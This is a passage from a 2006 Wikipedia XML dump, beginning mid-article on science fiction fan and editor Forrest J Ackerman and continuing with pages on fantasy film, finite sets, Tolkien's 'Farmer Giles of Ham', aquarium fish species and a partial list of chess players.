Ackerman helped found the [[Los Angeles Science Fantasy Society]], a prominent regional organization in science fiction fandom, as well as the [[National Fantasy Fan Federation]] (N3F). He was personally acquainted with many mid-twentieth-century writers of science fiction. He is noted for having amassed an extremely large and complete collection of science fiction, [[fantasy]] and [[horror film]] memorabilia, which was, until 2002, maintained in a remarkable home/museum known as the 18-room &quot;Ackermansion&quot; in the [[Los Feliz, Los Angeles, California|Los Feliz]] district of Los Angeles, filled with 300,000 pieces of movie memorabilia. He has entertained approximately 50,000 fans at open houses since 1951, including 186 fans and pros in one memorable night, including astronaut [[Buzz Aldrin]]. Ackerman is a board member of the [[Seattle, Washington|Seattle]] [[Science Fiction Museum and Hall of Fame]], where many items of his own collection are displayed. Ackerman received the first [[Hugo Award for Best Fan Writer]], in 1946.  

Ackerman is credited with nurturing and even inspiring the careers of several early contemporaries{{fact}} like [[Ray Bradbury]], [[Ray Harryhausen]], Chrles Beaumont, [[Marion Zimmer Bradley]] and [[L. Ron Hubbard]] of [[Scientology]] fame. He was [[Ed Wood, Jr.]]'s &quot;illiterary&quot; agent and represents 200 authors of science fiction and fantasy. Ackerman is also notable for having coined the term &quot;sci-fi&quot; by analogy with &quot;hi-fi&quot;. Although many serious science fiction fans hated the phrase, considering it gimmicky and disrespectful, it gained widespread usage by the early [[1960s]]. [[Harlan Ellison]] has derided it as a &quot;hideous neologism&quot; that &quot;sounds like crickets fucking,&quot; a comment to which Ackerman fans responded by producing buttons bearing the slogan, &quot;I love copulating crickets.&quot;

Ackerman has had 50 stories published, including collaborations with [[A. E. van Vogt]], Francis Flagg, Robert A. W. Lowndes, Marion Zimmer Bradley, Donald Wolheim and Catherine Moore and the world's shortest — one letter of the alphabet. His stories have been translated into six languages. Ackerman is fluent in the &quot;universal language&quot; [[Esperanto]]. Ackerman named the sexy comic-book character [[Vampirella]] and wrote the origin story for the comic.

Through his magazine, ''[[Famous Monsters of Filmland]]'' (1958-1983), Forrest J Ackerman introduced the history of the science fiction, fantasy and horror film genres to a generation of young readers. At a time when most movie-related publications glorified the stars in front of the camera, &quot;Uncle Forry&quot;, as he's referred to by many of his fans, promoted the behind-the-scenes artists involved in the magic of movies. In this way Ackerman provided inspiration to many who would later become successful artists, including Peter Jackson, Steven Spielberg, Tim Burton, Stephen King, Penn &amp; Teller, Billy Bob Thornton, Gene Simmons (of the band Kiss), Rick Baker, George Lucas, Danny Elfman, Frank Darabont, John Landis and countless other writers, directors, artists and craftsmen. 

In the 1970s, Ackerman organized the publication of an English translation in the U.S. of the German science fiction series ''[[Perry Rhodan]]'', the longest science fiction series in history. His German-speaking wife Wendayne (&quot;Wendy&quot;) did most of the translation. The American books were issued with varying frequency from one to as many as four per month. Ackerman also used the paperback series to promote science fiction short stories, including his own on occasion. The American series was never a major commercial success, and eventually lost its publishing outlets around issue #120 (the original German series continues today and passed issue #2200 in 2003).
 
Ackerman says, &quot;I aim at hitting 100 and becoming the [[George Burns]] of science fiction&quot;.

Ackerman currently lives in the new &quot;Acker-mini-mansion&quot; in Hollywood where he continues to entertain and inspire fans weekly with his amazing collection of memorabilia and priceless stories of the golden age of art, filmmaking, literature and all things fantastical.

==Appearances==
Ackerman himself appeared as a character in ''The Vampire Affair'' by [[David McDaniel]], a novel in the ''[[The Man from U.N.C.L.E.|Man from U.N.C.L.E.]]'' series, as well as in [[Philip José Farmer]]'s novel ''Blown''.

A life-long fan of science fiction &quot;[[B-movie]]s&quot;, Ackerman has has had cameos in over 210 films, including bit parts in many monster movies (''[[The Howling]]'', ''[[Return of the Living Dead|Return of the Living Dead Part II]]''), more traditional &quot;imagi-movies&quot; (''[[The Power]]'', ''[[The Time Traveller (fanzine)|The Time Travelers]]''), and spoofs (''[[Amazon Women on the Moon]]'', ''[[Attack of the 60 Foot Centerfold]]'').

==Works==

=== Pseudonyms ===

Weaver Wright, Spencer Strong, Walter Chinwell, Allis Villette, Alus Kerlay, Laurajean Ermayne, Alden Lorraine, J. Forrester Eckman, Fisher Trentworth, SF Balboa, Hubert G. Wells, Jacues De Forest Erman, Jone Lee Heard

=== Non-fiction ===

* ''A Reference Guide to American Science Fiction Films''
* ''The Frankenscience Monster''
* ''Forrest J Ackerman's Worlds of Science Fiction''
* ''Famous Forrie Fotos: Over 70 Years of Ackermemories''
* ''Mr. Monster's Movie Gold, A Treasure-Trove Of Imagi-Movies''
* ''Worlds of Tomorrow: the Amazing Universe of Science Fiction Art''
* ''Lon of 1000 Faces''
* ''Famous Monster of Filmland #1: An encyclopedia of the first 50 issues''
* ''Famous Monster of Filmland #2: An encyclopedia of issue 50-100''
* ''Metropolis by Thea von Harbou - intro and &quot;stillustration&quot; by FJ Ackerman''

=== Anthologies ===

* ''Rainbow Fantasia: 35 Spectrumatic Tales of Wonder''
* ''Science Fiction Worlds of Forrest J. Ackerman''
* ''Best Science Fiction for 1973''
* ''The Gernsback Awards Vol. 1, 1926''
* ''Gosh! Wow! (Sense of Wonder) Science Fiction'&quot;
* ''Reel futures ''
* ''I, Vampire: Interviews with the Undead  ''
* ''Ackermanthology: Millennium Edition: 65 Astonishing Rediscovered Sci-Fi Shorts ''
* ''Ackerwomanthology''
* ''Martianthology''
* ''Film Futures ''

===Short stories===

* ''Nyusa, Nymph of Darkness ''
* ''The Shortest Story Ever Told ''
* ''A Martian Oddity''
* ''Earth's Lucky Day ''
* ''The Record ''
* ''Micro Man ''
* ''Tarzan and the Golden Loin ''
* ''Dhactwhu!-Remember? ''
* ''Kiki''
* ''The Mute Question''
* ''Atoms and Stars''
* ''The Lady Takes a Powder''
* ''Sabina of the White Cylinder''
* ''What an Idea!''
* ''Death Rides the Spaceways''
* ''Dwellers in the Dust''
* ''Burn Witch, Burn''
* ''Yvala''
* ''The Girl Who Wasn't There''
* ''Count Down to Doom ''
* ''Time to Change ''
* ''And Then the Cover Was Bare''
* ''The Atomic Monument''
* ''Letter to an Angel''
* ''The Man Who Was Thirsty ''
* ''The Radclyffe Effect''
* ''Cosmic Report Card: Earth''
* ''Great Gog's Grave''
* ''The Naughty Venuzian''

==External links==
* [http://4forry.best.vwh.net/bio.htm 4e's Foyer: biography]
* [http://www.sfsite.com/gary/acke01.htm SFSite: Gary Westfahl's Biographical Encylopedia]
* [http://www.dragoncon.org/people/ackermf.html DragonCon 2005: bio of guest Forrest J. Ackerman]
* {{imdb name|id=0009969|name=Forrest J Ackerman}}

[[Category:1916 births|Ackerman, Forrest J.]]
[[Category:Living people|Ackerman, Forrest J.]]
[[Category:American science fiction writers|Ackerman, Forrest J.]]
[[Category:Science fiction fans|Ackerman, Forrest J.]]
[[Category:California writers|Ackerman, Forrest J.]]
[[Category:Return of the Living Dead actors|Ackerman, Forrest J.]]
[[de:Forrest J. Ackerman]]
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  </page>
  <page>
    <title>Fantasy film</title>
    <id>11741</id>
    <revision>
      <id>42044413</id>
      <timestamp>2006-03-03T12:17:28Z</timestamp>
      <contributor>
        <ip>81.175.89.70</ip>
      </contributor>
      <comment>/* Additional examples */</comment>
      <text xml:space="preserve">{{Fantasy}}
In theory '''fantasy films''' are films with [[fantasy fiction|fantastic]] themes, usually involving magic or exotic fantasy worlds, as distinct from [[science fiction film|science fiction films]] or [[horror film|horror films]].  The category has as much to do with approach as with context and there is often a good deal of overlap between the [[genre]]s.  For example, much about the ''[[Star Wars]]'' saga suggests fantasy, yet it feels like science fiction, while much about ''[[Time Bandits]]'' suggests science fiction, yet it feels like fantasy. 

[[Superhero films]] also seem to fufil the requirements of the fantasy or science fiction genres, but they are usually considered to be a genre all their own.

Animated films are not always classified as fantasy, nor are talking non-human animals.  ''[[Bambi]]'', for example, is not fantasy, nor is [[Toy Story]], though the latter is closer to fantasy than the former.  ''[[The Secret of NIMH]]'', however, is a fantasy film, not because it features talking non-human animals, but because there is actual magic involved.

Films that are technically fantasy, but that involve some gimmick such as mother and daughter switching bodies or a man turning into a dog, are usually considered to be in a genre of their own.

[[Surrealist film]] also describes the fantastic, but it dispenses with genre narrative conventions, and commercial and financial aims, and is usually considered a separate category. 

Most fantasy movies are released during the winter season, particularly in [[November]] and [[December]], in stark contrast with the summer, which releases mostly [[Action movie|action]] and [[sci-fi]] movies. 

As a cinematic genre, fantasy isn't as highly regarded as it's close neighbour [[science-fiction]], the reason for this is until very recently, fantasy films were made of low or inferior production values, over-the-top acting and decidedly poor special effects. While [[Raiders of the Lost Ark]] did much to improve the genre's reputation in public as well critical circles, it's decidely comic-book like approach still prevented it from being taken too seriously. 

The genre in recent times however has had a renaissance. This is largely indebted to the highly successful adaptations of [[J.R.R. Tolkien]]'s [[The Lord of the Rings]] and [[J.K. Rowling]]'s [[Harry Potter]] series. [[The Lord of the Rings trilogy]] is particularly notable due to it's markedly serious approach to the material as well as it's phenomenal commercial and critical success. The [[The Lord of the Rings: The Return of the King|third installment]] of the trilogy became the first fantasy film to ever win [[Best Picture]]. 

Following the success of the trilogy, Hollywood studios are greenlighting newer ventures into the genre, including a succesful adaptation of the first book of the [[The Chronicles of Narnia]] and an upcoming adaptation of cult novel [[Eragon]]. 

==Sub-Genres==
There are many sub-categories of fantasy films that can be identified.  The most prevalent of these are '''[[High Fantasy]]''' and '''[[Sword and sorcery]]'''.  These are films with quasi-medieval settings, wizards, magical creatures and the like.  '''High Fantasy''' tends to have a complex fantasy world and hero of humble origins, while '''Sword and sorcery''' tends to pit a barbarian against a wizard.  '''High Fantasy''' is indebted to the work of [[J.R.R. Tolkien]] and his ''[[Lord of the Rings]]'' books, while '''sword and sorcery''' is equally indebted to the work of [[Robert E. Howard]] and his [[Conan the Barbarian]].

Another important sub-genre of fantasy films, more popular in recent years, is '''[[Contemporary fantasy]]'''.  Such films feature magic (often figured as the supernatural) in the real world. The most prominent example in the early [[Twenty-first Century]] is the ''[[Harry Potter]]'' series while most [[superhero]] films are a form of [[science fantasy]] typically set in contemporary times.

Finally, we have the [[fairy tale]] genre, which many people consider separate from the rest of fantasy.  We leave consideration of such major films as ''[[Snow White and the Seven Dwarfs (1937 film)|Snow White and the Seven Dwarfs]]'' to the fairy tale genre.

==History==
Fantasy as a genre in film has existed since the beginning of films, although the offerings were sporadic until the 1980's, which saw a flourishing of the genre.  In the era of [[silent film]] the outstanding fantasy films were [[Douglas Fairbanks]]' ''[[The Thief of Bagdad (1924)|The Thief of Bagdad]]'' (1924) and [[Fritz Lang]]'s ''[[Die Nibelungin]]'' (1925).  In 1939, audiences embraced what is surely the best loved fantasy film of all time, ''[[The Wizard of Oz (1939 film)|The Wizard of Oz]]''.  The 1940s saw the full color fantasy films produced by Alexander Korda, ''[[The Thief of Bagdad (1940 film)|The Thief of Bagdad]]'' and ''[[Jungle Book (1942 film)|Jungle Book]]'' (1942), and Jean Cocteau's classic ''[[Beauty and the Beast]]'', too good to be relegated to the [[fairy tale]] genre.  [[Douglas Fairbanks, Jr.]] in ''[[Sinbad the Sailor]]'' feels like a fantasy film, though it does not actually have any fantastic elements.  In the 1950's there were only two major fantasy films, ''[[The 5000 Fingers of Dr. T]]'' and ''[[Darby O'Gill and the Little People]]''.  There were also several low budget fantasies, based on Greek or Arabian legend, by [[Ray Harryhausen]].  The 1960s were almost devoid of fantasy.  The film ''[[Camelot (musical)|Camelot]]'' removed most of the fantasy elements from [[T. H. White]]'s classic ''[[The Once and Future King]]'', on which it was based.  The only true fantasy film in the 1970s was ''[[The Seven Faces of Dr. Lao]]''.  With ''[[Raiders of the Lost Ark]]'', in 1981, a fantasy explosion began which continues into the [[Twenty-first Century]]''. 
===1980s=== 
:''[[Raiders of the Lost Ark]]''
:''[[Dragonslayer]]''
:''[[Poltergeist]]''
:''[[The Dark Crystal]]''
:''[[Indiana Jones and the Temple of Doom]]''
:''[[Legend (film)|Legend]]''
:''[[Ladyhawke]]''
:''[[Highlander]]''
:''[[Labyrinth (film)|Labyrinth]]''
:''[[Conan the Barbarian]]''
:''[[Conan the Destroyer]]''
:''[[The Princess Bride (film)|The Princess Bride]]''
:''[[Willow (film)|Willow]]''
:''[[The Neverending Story]]''
:''[[Indiana Jones and the Last Crusade]]''

===1990s===
:''[[Ghost (film)|Ghost]]''
:''[[Groundhog Day (film)|Groundhog Day]]''
:''[[The Indian in the Cupboard]]''
:''[[Jumanji (film)|Jumanji]]''
:''[[Dragonheart]]''
:''[[The X-Files]]''
:''[[Meet Joe Black]]''
:''[[The Green Mile]]''
:''[[The Sixth Sense]]''

===2000s===
:''[[The Chronicles of Narnia]]''
:''[[Crouching Tiger, Hidden Dragon]]''
:''[[Unbreakable]]''
:''[[Holes]]''
:''[[Pirates of the Caribbean]]'' 
:[[The Lord of the Rings film trilogy]] (The final ''Lord of the Rings'' film, ''[[The Return of the King]]'', was the first sci-fi, fantasy, or horror film to win an [[Academy Award|Oscar]] for [[Best Picture]].)
:The [[Harry Potter]] films

(There is also at least one fantasy film that would be spoiled if you knew it was fantasy before you saw it.)

==Additional examples==
* ''[[Ancanar]]''
* ''[[Excalibur (movie)|Excalibur]]''
* ''[[Heavy Metal (movie)|Heavy Metal]]''
* ''[[Hexer]]'' (''Wied&amp;#378;min'')
* ''[[Jason &amp; the Argonauts]]''
* ''[[Princess Mononoke]]'' (''Mononoke Hime'')
* ''[[The Company of Wolves]]''
* ''[[The Seventh Voyage of Sinbad]]''
* ''[[The Witches]]''
* ''[[The Black Cauldron]]''
* ''[[Alice in Wonderland (1933 film)]]'' - with Charlotte Henry, W.C. Fields, Cary Grant
* ''[[Alice in Wonderland (1951 film)]]'' - Disney animated film
* ''[[The Last Unicorn]]''
* ''[[The Neverending Story]]''
* ''[[Clash of the Titans]]'' ([[1981]])
* ''[[The Secret of NIMH]]'' ([[1982]])
* ''[[Photographing Fairies]]'' (1997)
* ''[[The Blair Witch Project]]''

==See also==
* [[List of fantasy films]]

==External links==
*[http://www.filmsite.org/fantasyfilms2.html The Greatest Films: Fantasy Films]
*[http://www.enchantedwhispers.com Enchanted Whispers]
[[Category:Fantasy films|*]]
[[Category:Film genres]]

[[es:Cine fantástico]]
[[ja:&amp;#12501;&amp;#12449;&amp;#12531;&amp;#12479;&amp;#12472;&amp;#12540;&amp;#26144;&amp;#30011;]]</text>
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  <page>
    <title>Finite set</title>
    <id>11742</id>
    <revision>
      <id>34235946</id>
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      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
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      <minor />
      <comment>robot  Modifying: fi</comment>
      <text xml:space="preserve">In [[mathematics]], a [[set]] is called '''''finite''''' if and only if there is a [[bijection]] between the set and some set of the form {1, 2, ..., ''n''} where &lt;math&gt;n&lt;/math&gt; is a [[natural number]]. (The value ''n''=0 is allowed; that is, the [[empty set]] is finite.) All finite sets are [[countable]] {{ref|ctbl}}, but not all countable sets are finite.

Equivalently, a set is finite if its [[cardinality]], i.e. the number of its elements, is a natural number. For instance, the set of [[integer]]s between -15 and 3 is finite, since it has 17 elements. The set of all [[prime number]]s is not finite. Sets that are not finite are called [[Infinite set|infinite]].

A set is called '''''[[Dedekind-infinite set|Dedekind finite]]''''' if there exists no bijection between the set and any of its proper [[subset]]s. It is a [[theorem]] (assuming the [[axiom of choice]]) that a set is finite if and only if it is Dedekind finite.

==See also==
*[[infinity]]
*[[hereditarily finite set]]

==Note==
#{{note|ctbl}} Some authors use &quot;countable&quot; to mean &quot;countably [[infinite set|infinite]]&quot;, and thus do not consider finite sets to be countable.

[[Category:Discrete mathematics]]
[[Category:Set theory]]
[[Category:Mathematical terminology]]

[[nl:Eindig]]
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[[fi:Äärellinen joukko]]
[[uk:Скінченна множина]]
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  </page>
  <page>
    <title>Farmer Giles of Ham</title>
    <id>11745</id>
    <revision>
      <id>42092765</id>
      <timestamp>2006-03-03T19:57:01Z</timestamp>
      <contributor>
        <username>EdK</username>
        <id>880924</id>
      </contributor>
      <minor />
      <comment>spelling Tolkein -&gt; Tolkien</comment>
      <text xml:space="preserve">&quot;'''Farmer Giles of Ham'''&quot; (written in [[1947]], published in [[1949]]) is a [[short story]] written by [[J. R. R. Tolkien]].  The story describes a series of encounters between Farmer Giles and a wily [[western dragon|dragon]] named Chrysophylax.  It is set in a [[fantasy]] [[Britain]] of long ago, which has mythical creatures, medieval knights, and primitive firearms.  It is happily anachronistic, and is more like a folk-tale than the sweeping epics which Tolkien is better known for.

The book was originally illustrated by [[Pauline Baynes]].

{{Spoiler}}

Farmer Giles was not a hero. He was fat and red-bearded and enjoyed a slow, comfortable life. One day a rather deaf and short-sighted [[giant (mythology)|giant]] blundered on to his land. Farmer Giles managed to scare him away with a [[blunderbuss]] shot in its general direction. The people of the village cheered: Farmer Giles was a hero.
His reputation spread far and wide across the kingdom. Giles was rewarded by the King of the Middle Kingdom, with a sword named Caudimordax or &quot;Tailbiter&quot;,  a powerful weapon against dragons. 

The giant reports to its monstrous friends that there are no more knights, just stinging flies (actually scrap metal from Giles' blunderbuss), in the Middle Kingdom. This prompts a dragon, Chrysophylax Dives, to investigate the area &amp;mdash; and everyone turns to the accidental hero Farmer Giles to deal with it.

The story makes light of the great dragon-slaying traditions. The knights who are supposed to do the job  are useless fops more intent on &quot;precedence and etiquette&quot; than on noticing huge dragon footprints littering the landscape. &quot;Giles&quot; is also an interesting commentary on how people react to danger. Heroes aren't simply called for, they are demanded and hapless farmers can be forced to be heroes. 

The Latin names and references imply that Giles is a Briton, a late generation remnant of the old empire after the decline of the western authority of the [[Roman Empire|Romans]]. All the Giles place-names are supposed to occur relatively close to [[Oxford]], along the [[Thames]] or on the route from [[London]] to Oxford.

Among the jokes is a question put to &quot;the four wise clerks of Oxenford&quot;; Tolkien then quotes from the [[Oxford English Dictionary]], on which he had worked. The phrase &quot;wise clerk of Oxenford&quot; is also a reference to [[Chaucer]]'s [[The Clerk's Tale|Clerk]].

&quot;Farmer Giles of Ham&quot; is sometimes published in an omnibus edition with &quot;[[Smith of Wootton Major]]&quot;, another Tolkien novella with illustrations by Pauline Baynes.

[[de:Bauer Giles von Ham]]
[[it:Il Cacciatore di Draghi]]
[[es:Egidio%2C_el_Granjero_de_Ham]]
[[ja:&amp;#36786;&amp;#22827;&amp;#12472;&amp;#12515;&amp;#12452;&amp;#12523;&amp;#12474;&amp;#12398;&amp;#20882;&amp;#38522;]]

[[Category:Short stories]]
[[Category:Fictional farmers|Giles of Ham]]
[[Category:Texts by J. R. R. Tolkien]]</text>
    </revision>
  </page>
  <page>
    <title>List of freshwater aquarium fish species</title>
    <id>11748</id>
    <revision>
      <id>41531749</id>
      <timestamp>2006-02-27T23:56:38Z</timestamp>
      <contributor>
        <username>Ginkgo100</username>
        <id>925434</id>
      </contributor>
      <comment>added Bonytongues to list</comment>
      <text xml:space="preserve">[[Category:Ichthyology]]
[[Category:Lists of animals]]
[[Category: Fishkeeping]]

A vast number of species of [[fish]] have been successfully kept in the home [[aquarium]]. This list gives only some of the most commonly-kept species.

*[[Live-bearing aquarium fish|Live-bearing]]
**Guppies &amp; Mollies ([[Poecilia]])
***Guppy ([[Poecilia reticulata]])
***Sailfin Molly ([[Poecilia latipinna]])
**Platies &amp; Swordtails ([[Xiphophorus]])
***Southern Platy ([[Xiphophorus maculatus]])
***Variable Platy ([[Xiphophorus variatus]])
***Green Swordtail ([[Xiphoporus helleri]])
*Egg-laying
**Catfish ([[Siluriformes]])
***[[Callichthyidae|Armored Catfish (Callichthyidae)]]
****[[Corydoras|Cory catfish]] (Corydoras sp.)
***Armored Suckermouth Catfish ([[Loricariidae]], aka [[Plecostomus|Plecos]])
****[[Ancistrus dolichopterus|Bristlenose Catfish]]
****Whiptail and twig catfish
*****[[longnose whiptail catfish]]
*****[[regal whiptail catfish]]
*****[[leopard catfish]]
****[[Common Pleco]]s
*****[[Liposarcus pardalis]]
*****[[Liposarcus multiradiatus|Sailfin Catfish]]
*****[[Hypostomus plecostomus|Suckermouth Catfish]]
*****[[Hypostomus punctatus|Suckermouthed Catfish]]
****Dwarf Suckermouth Catfish ([[Otocinclus]])
***[[Kryptopterus bicirrhis|Glass catfish]]
***[[Pangasius hypophthalmus|Iridescent Shark]]
**Characins ([[Characidae]])
***[[Black tetra]]
***[[Paracheirodon axelrodi|Cardinal tetra]]
***[[Astyanax mexicanus|Cave tetra]]
***[[Gasteropelecus sternicla|Common hatchetfish]]
***[[Paracheirodon simulans|Green neon tetra]]
***[[Neon Tetra|Neon tetra]]
***[[Serpae Tetra|Serpae tetra]]
***[[Metynnis argenteus|Silver Dollar]]
**Cichlids ([[Cichlidae]])
***[[Geophagus altifrons|Eartheater Cichlid]]
***[[Cichlasoma meeki|Firemouth Cichlid]]
***[[Cichlasoma octofasciatum|Jack Dempsey]]
***[[Cichlasoma managuense|Managuense Cichlid]]
***[[Aequidens rivulatus|Green Terror]]
***[[Hemichromis bimaculatus|Jewel Cichlid]]
***[[Pterophyllum scalare|Angelfish]]
***[[Symphysodon discus|Discus]]
***[[Electric yellow (fish)|Electric Yellow]]
***[[Protomelas taeniolatus|Red Empress Cichlid]]
***[[Oscar (fish)|Oscar]]
***[[Pseudotropheus estherae|Red Zebra]]
***[[Tilapia buttikoferi|Zebra Tilapia]]
**Cyprinids ([[Cyprinidae]])
***[[Barbus|Barbs]]
****[[Checker barb|Checker Barb]]
****[[Barbus titteya|Cherry Barb]]
****[[Clipper Barb]]
****[[Barbus schuberti|Gold Barb]]
****[[Barbus pentazona|Pentazona Barb]]
****[[Barbus denisonii|Red Line Torpedo Barb]]
****[[Barbus conchonius|Rosy Barb]]
****[[Barbus nigrofasciatus|Black Ruby Barb]]
****[[Barbus brevipinnis|Shortfin Barb]]
****[[Barbus tetrazona|Tiger Barb]]
****[[Barbus ticto|Ticto Barb]]
****[[Barbus schwanefeldi|Tinfoil Barb]]
***Cold-water fish
****[[Carassius auratus|Goldfish]]
****[[Cyprinus carpio|Common Carp]]
****[[Koi]]
****[[White Cloud Mountain minnow]]
***[[Dace]]s
****[[Common Dace]]
***[[Danio]]s
****[[Danio devario|Bengal Danio]]
****[[Danio aequipinnatus|Giant Danio]]
****[[Malabar Danio]]
****[[Brachydanio albolineatus|Pearl Danio]]
****[[Danio regina|Queen Danio]]
****[[Danio nigrofasciatus|Spotted Danio]]
****[[Brachydanio kerri|Turquoise Danio]]
****[[Brachydanio rerio|Zebra Danio]]
***[[Rasbora]]s
****[[Harlequin rasbora|Harlequin Rasbora]]
**Knifefish and Eels ([[Gymnotiform]])
***[[Apteronotus albifrons|Black Ghost Knifefish]]
**Labyrinth fishes ([[Anabantidae]], [[Osphronemidae]], [[Helostomatidae]])
***[[Trichogaster trichopterus|Blue Gourami]] (The Three spot gourami)
***[[Betta splendens|Siamese Fighting Fish]]
***[[Kissing gourami|Kissing Gourami]]
**Loaches ([[Cobitidae]])
***[[Botia kubotai|Burmese Border Loach]]
***[[Botia macracantha|Clown Loach]]
***[[Misgurnus anguillicaudatus|Dojo Loach]]
***[[Botia sidthimunki|Dwarf Loach]]
***[[Botia morleti|Skunk Loach]]
***[[Acantopsis choirorhynchus|Horseface Loach]]
***[[Kuhli Loach]]
***[[Acantopsis octoactinotos|Longnose Loach]]
**Bichirs and Reedfish ([[Polypteriformes]])
***[[Polypterus senegalus|Senegal Bichir]]
**Bonytongues ([[arowana]]s)
***[[Asian Arowana]]
***[[Silver arowana]]
***[[Arapaima]]
== See also ==
*[[List of fish common names]]
*[http://www.fishdeals.com/view_fish.shtml Aquarium Fish Photo Galleries]

[[de:Süßwasserzierfische]]
[[it:Pesci d'acquario d'acqua dolce]]
[[nl:Lijst van tropische zoetwateraquariumvissen]]
[[pl:Słodkowodne ryby akwariowe]]
[[zh:热带鱼]]</text>
    </revision>
  </page>
  <page>
    <title>List of notable chess players</title>
    <id>11749</id>
    <revision>
      <id>41492043</id>
      <timestamp>2006-02-27T18:57:39Z</timestamp>
      <contributor>
        <username>Giftlite</username>
        <id>37986</id>
      </contributor>
      <comment>/* B */ +Gideon Barcza</comment>
      <text xml:space="preserve">This is a list of [[chess]] players. 

==Chess players by vocation==
The people in this list are men and women who are primarily known as chess players.

=== A ===

*[[Gerald Abrahams]] (England, [[1907]]&amp;ndash;[[1980]])
*[[Michael Adams]] (England, [[1971]]&amp;#8211; )
*[[Utut Adianto]] (Indonesia, [[1965]]&amp;ndash; )
*[[Andras Adorjan]] (Hungary, [[1950]]&amp;ndash; )
*[[Simen Agdestein]] (Norway, [[1967]]&amp;#8211; )
*[[Vladimir Akopian]] (Armenia, [[1971]]&amp;#8211; )
*[[Semyon Alapin]], (Lithuania [[1856]]&amp;ndash;[[1923]])
*[[Adolf Albin]] (Romania, [[1848]]&amp;ndash;[[1920]])
*[[Lev Alburt]] (Russia, USA, [[1945]]&amp;ndash; )
*[[Alexander Alekhine]] (Russia, [[1892]]&amp;#8211;[[1946]])
*[[Conel Hugh O'Donel Alexander|Hugh Alexander]] (England, [[1899]]&amp;#8211;[[1974]])
*[[Boris Alterman]] (Israel, [[1970]]&amp;ndash; )
*[[Friedrich Amelung]] (Latvia, [[1842]]&amp;ndash;[[1909]])
*[[Viswanathan Anand]] (India, [[1969]]&amp;#8211; )
*[[Adolf Anderssen]] (Germany, [[1818]]&amp;#8211;[[1879]])
*[[Ulf Andersson]] (Sweden, [[1951]]&amp;#8211; )
*[[Levon Aronian]] (Armenia, [[1982]]&amp;ndash; )
*[[Konstantin Aseev]] (Russia, [[1960]]&amp;#8211; [[2004]])
*[[Maurice Ashley]] (Jamaica, USA, [[1966]]&amp;#8211; )
*[[As-Suli]] (Abbasid Caliphate, circa [[880]]&amp;#8211;[[946]])
*[[Henry Atkins]] (England, [[1872]]&amp;ndash;[[1955]])
*[[Yuri Averbakh]] (Russia, [[1922]]&amp;ndash; )
*[[Zurab Azmaiparashvili]] (Georgia, [[1960]]&amp;ndash; )
*[[Hipólito Asis Gargatagli]] (Spain, [[1986]]&amp;ndash; )

=== B ===

*[[Etienne Bacrot]] (France, [[1983]]&amp;#8211; )
*[[Gerardo Barbero]] (Argentina, Hungary, [[1961]]&amp;#8211;[[2001]])
*[[Gideon Barcza]] (Hungary, [[1911]]&amp;#8211;[[1986]])
*[[Curt von Bardeleben]] (Germany, [[1861]]&amp;#8211;[[1924]])
*[[Leonard Barden]] (England, [[1929]]&amp;ndash; )
*[[Evgeny Bareev]] (Russia, [[1966]]&amp;ndash; )
*[[Thomas Wilson Barnes]] (England, [[1825]]&amp;#8211;[[1874]])
*[[Anjelina Belakovskaia]] (Ukraine, USA, [[1969]]&amp;ndash; )
*[[Alexander Beliavsky]] (Ukraine, Slovenia, [[1953]]&amp;#8211; )
*[[Joel Benjamin]] (USA, [[1964]]&amp;ndash; )
*[[Pal Benko]] (Hungary, USA, [[1928]]&amp;#8211; )
*[[Hans Berliner]] (USA, [[1929]]&amp;ndash; )
*[[Ivar Bern]] (Norway, [[1967]]&amp;ndash; )
*[[Ossip Bernstein]] (Ukraine, France, [[1882]]&amp;#8211;[[1962]])
*[[Istvan Bilek]] (Hungary, [[1932]]&amp;#8211; )
*[[Henry Bird]] (England, [[1830]]&amp;#8211;[[1908]])
*[[Arthur Bisguier]] (USA, [[1929]]&amp;#8211; )
*[[Roy Turnbull Black]] (USA)
*[[Joseph Henry Blackburne]] (England, [[1841]]&amp;#8211;[[1924]])
*[[Ludwig Bledow|Dr Ludwig E Bledow]] (Germany, [[1795]]&amp;ndash;[[1846]])
*[[Claude Bloodgood]] (USA, [[1937]]&amp;#8211;[[2001]])
*[[Samuel Boden]], (England, [[1826]]&amp;#8211;[[1882]])
*[[Efim Bogoljubov]] (Ukraine, Germany, [[1889]]&amp;#8211;[[1952]])
*[[Paolo Boi]] (Italy, [[1528]]&amp;#8211;[[1598]])
*[[Julio Bolbochan]] (Argentina, [[1920]]&amp;#8211;[[1996]])
*[[Isaac Boleslavsky]] (Soviet Union, [[1919]]&amp;#8211;[[1977]])
*[[Igor Bondaresky]] (Russia, [[1913]]&amp;#8211;[[1979]])
*[[Eero Böök]] (Finland, [[1910]]&amp;#8211;[[1990]])
*[[Mikhail Botvinnik]] (Russia, [[1911]]&amp;#8211;[[1995]])
*[[Louis de la Bourdonnais|Louis Charles de la Bourdonnais]] (France, [[1795]]&amp;#8211;[[1840]])
*[[Gyula Breyer]] (Hungary, [[1893]]&amp;#8211;[[1921]])
*[[David Bronstein]] (Russia, [[1924]]&amp;#8211; )
*[[Walter Browne]] (Australia, USA, [[1949]]&amp;#8211; )
*[[Bu Xiangzhi|Xiangzhi Bu]] (China, [[1985]]&amp;#8211; )
*[[Amos Burn]] (England, [[1848]]&amp;#8211;[[1925]])
*[[Donald Byrne]] (USA, [[1930]]&amp;#8211;[[1976]])
*[[Robert Byrne]] (USA, [[1928]]&amp;#8211; )
*[[Elizaveta Ivanovna Bykova]] (Russia, [[1913]]&amp;#8211;[[1989]])

=== C ===

*[[Esteban Canal]] (Peru, Italy, [[1896]]&amp;#8211;[[1981]])
*[[José Raúl Capablanca]] (Cuba, [[1888]]&amp;#8211;[[1942]])
*[[Magnus Carlsen]] (Norway, [[1990]]&amp;#8211; )
*[[Pietro Carrera]] (Sicily, [[1573]]&amp;#8211;[[1647]])
*[[Murray Chandler]] (New Zealand, England [[1960]]&amp;ndash; )
*[[Rudolf Charousek]] (Hungary, [[1873]]&amp;#8211;[[1900]])
*[[Zhu Chen]] (China, [[1976]]&amp;#8211; )
*[[Irving Chernev]] (USA, [[1900]]&amp;#8211;[[1981]])
*[[Maia Chiburdanidze]] (Georgia, USSR, [[1961]]&amp;#8211; )
*[[Mikhail Chigorin]] (Russia, [[1850]] - [[1908]])
*[[Larry Christiansen]] (USA, [[1956]]&amp;#8211; )
*[[John Cochrane]] (England, [[1798]]&amp;#8211;[[1878]])
*[[Edgard Colle]] (Belgium, [[1897]]&amp;#8211;[[1932]])
*[[Juan Corzo]] (Cuba, [[1873]]&amp;#8211;[[1941]])
